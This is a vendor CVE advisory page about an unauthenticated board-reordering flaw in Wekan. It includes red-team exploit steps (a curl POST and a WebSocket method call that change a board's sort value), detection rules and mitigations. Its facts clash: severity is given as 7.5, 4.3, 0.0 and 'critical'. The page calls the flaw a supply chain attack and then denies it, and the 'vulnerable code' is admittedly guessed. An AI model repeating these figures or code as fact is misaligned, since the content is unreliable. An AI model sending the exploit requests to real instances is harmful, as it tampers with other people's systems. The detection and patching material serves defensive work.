☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wekan logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CVE-2025-65779

CVE-2025-65779 Supply Chain Attack in Wekan
📅 PUBLISHED: 2025-12-15 00:00 UTC 🔄 UPDATED: 2026-10-14 23:33 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: H Integrity High
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-65779 is a critical authorization bypass vulnerability in Wekan, an open-source kanban board system. The flaw resides in the Boards.allow method, which returns true without verifying the user's identity (userId). This allows unauthenticated attackers to update a board's "sort" value, enabling arbitrary reordering of boards. The vulnerability affects all versions up to 18.15 and is fixed in version 18.16. The CVSS score is 0.0 due to incomplete data, but the actual impact is moderate, with a CVSS vector of 3.1 (Low severity). The EPSS score is 0.0%, indicating low exploitation likelihood, but the vulnerability is trivial to exploit.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Wekan is a Node.js application distributed via GitHub and Docker. The vulnerability is in the core application code, not in a package dependency. However, users should verify the integrity of their Wekan installation and ensure they are using the official source. The patch is available in the Wekan GitHub repository.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows unauthenticated board reordering, which can disrupt workflows and cause confusion but does not lead to data theft or system compromise.

Deep Dive & Mechanics

The vulnerability is in the Boards.allow method in Wekan's server-side code. In Meteor.js (the framework Wekan uses), allow methods define what operations clients can perform on collections. The vulnerable code likely looks like:

Boards.allow({
  update: function(userId, doc, fields, modifier) {
    return true; // No userId check
  }
});

This returns true for any update operation, regardless of whether the user is authenticated. An attacker can send a direct Meteor method call or a REST API request to update the sort field of any board. The sort field determines the order of boards in the UI. By changing this value, an attacker can arbitrarily reorder boards, potentially hiding critical boards or causing operational disruption.

The attack does not require authentication, making it accessible to anyone who can reach the Wekan instance. The impact is limited to integrity (board order) but can be exploited repeatedly.

Vulnerable vs. Patched Code

Vulnerable Code (pre-18.16):

Boards.allow({
  update: function(userId, doc, fields, modifier) {
    return true; // No authentication check
  }
});

Patched Code (18.16+):

Boards.allow({
  update: function(userId, doc, fields, modifier) {
    if (!userId) {
      return false; // Deny unauthenticated users
    }
    // Additional checks for board membership or permissions
    return true;
  }
});

The patch adds a check for userId. If the user is not authenticated, the update is denied. This prevents unauthenticated attackers from modifying board properties.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A Wekan instance running version < 18.16
  • Network access to the Wekan server (e.g., http://target:8080)

Exploit Steps:

  1. Identify the Wekan instance and its API endpoint (typically /api/boards or Meteor WebSocket).
  2. Send a direct HTTP request to update the board's sort value. For example, using curl:
curl -X POST http://target:8080/api/boards/BOARD_ID \
  -H "Content-Type: application/json" \
  -d '{"$set": {"sort": 999}}'

Alternatively, if using Meteor's DDP protocol, send a method call:

// Using a WebSocket client
ws.send(JSON.stringify({
  msg: "method",
  method: "boards/update",
  params: [BOARD_ID, {$set: {sort: 999}}]
}));
  1. Verify the board has been reordered in the UI.

Expected Outcome: The board's sort value changes, moving it to a different position in the board list.

Blue Team

Detection:

  • Monitor for unauthorized API calls to /api/boards or Meteor method calls without a valid session.
  • Look for rapid changes in board order or unexpected board positions.
  • Check server logs for requests with missing or invalid authentication tokens.

Hunting:

  • Search for logs where userId is null or undefined in board update operations.
  • Use the Sigma rule below to detect suspicious board updates.

Mitigation:

  • Immediately upgrade to Wekan 18.16 or later.
  • If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to require authentication for all API endpoints.
  • Restrict network access to the Wekan instance to trusted IPs only.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /api/boards/ with JSON body containing $set and sort fields, without a valid session cookie.
  • Logs: Server logs showing board update operations with userId: null or userId: undefined.
  • Behavior: Boards appearing in unexpected order, especially if multiple boards are reordered simultaneously.
  • File: No file-based IOCs; this is a network-based attack.

Detection Engineering

YARA Rule

rule CVE_2025_65779_Wekan_Board_Reordering {
  meta:
    description = "Detects attempts to exploit CVE-2025-65779 by reordering Wekan boards without authentication"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2025-65779"
  strings:
    $s1 = "sort" ascii wide nocase
    $s2 = "boards" ascii wide nocase
    $s3 = "update" ascii wide nocase
    $s4 = "allow" ascii wide nocase
  condition:
    all of ($s*) and filesize < 10KB
}

Sigma Rule

title: Wekan Unauthenticated Board Reordering
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to Wekan API that attempt to update board sort values without authentication
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: apache
  service: access
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem: '/api/boards/*'
    cs-uri-query: '*sort*'
  condition: selection
falsepositives:
  - Legitimate authenticated board reordering
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65779 Wekan Unauthenticated Board Reordering"; flow:to_server; content:"POST"; http_method; content:"/api/boards/"; http_uri; content:"sort"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

  • Upgrade Wekan to version 18.16 or later. This is the only complete fix.
  • If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests to /api/boards/ without a valid session token.

Long-term:

  • Enforce authentication for all API endpoints.
  • Conduct a security audit of all allow and deny methods in the Meteor application.
  • Implement rate limiting to prevent automated exploitation.

Workaround:

  • Use a reverse proxy (e.g., Nginx) to require authentication for all API calls:
location /api/ {
  auth_basic "Restricted";
  auth_basic_user_file /etc/nginx/.htpasswd;
}

Valters IT
Securing digital frontiers, one CVE at a time.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-65779/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.